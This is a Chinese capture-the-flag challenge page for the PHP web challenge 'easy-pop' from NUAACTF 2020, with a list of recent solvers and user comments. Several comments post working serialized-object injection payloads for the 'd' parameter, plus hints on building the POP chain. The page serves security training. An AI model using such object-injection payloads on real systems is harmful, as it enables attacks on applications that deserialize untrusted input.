easy-popWEB 未解决

分数: 0 金币: 0
所属赛事: NUAACTF 2020
题目作者: 未知
一  血: Lxxx
一血奖励: 0金币
解  决: 362
提  示:
描  述:
nuaactf{}
评论
谢特恒123 2月前

类中不能直接赋值new evil要用到__construnct魔术方法来给ClassObj赋值为new evil

回复 0

网恋秀牛子被录屏导致自卑 7月前

$a=new lemon();就行

回复 0

solomom 9月前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"evildata";N;}}

回复 0

vincentshine 1年前

看了writeUP,不base64编码一下 真的会遗漏特殊字符,造成反序列化失败

回复 0

绝情且小帅 2年前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";N;}}

回复 0

vchopin 2年前

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

回复 0

chaoge 2年前

注意%00

回复 0

hopeinhand 3年前

简单的反序列化,重构 __constract()指向evil

回复 0

WriteUp

image
sean

1 金币

评分(1)

解题动态

mechatengo 攻破了该题 19小时前
i8vkmmju 攻破了该题 12天前
pinus 攻破了该题 12天前
Yan123 攻破了该题 13天前
时间不会说谎 攻破了该题 13天前
xiaodou 攻破了该题 14天前
879205607 攻破了该题 14天前
Vluae 攻破了该题 15天前
caixinggang 攻破了该题 19天前
闫杨鹏 攻破了该题 20天前
jibabenba 攻破了该题 23天前
nihao123@ 攻破了该题 28天前
vx606v 攻破了该题 1月前
WWls= 攻破了该题 1月前
zant 攻破了该题 1月前
hell0-hnc 攻破了该题 1月前
abcd7 攻破了该题 1月前
wangmazikkll 攻破了该题 1月前
hdcc1 攻破了该题 2月前
huozi 攻破了该题 2月前
问题反馈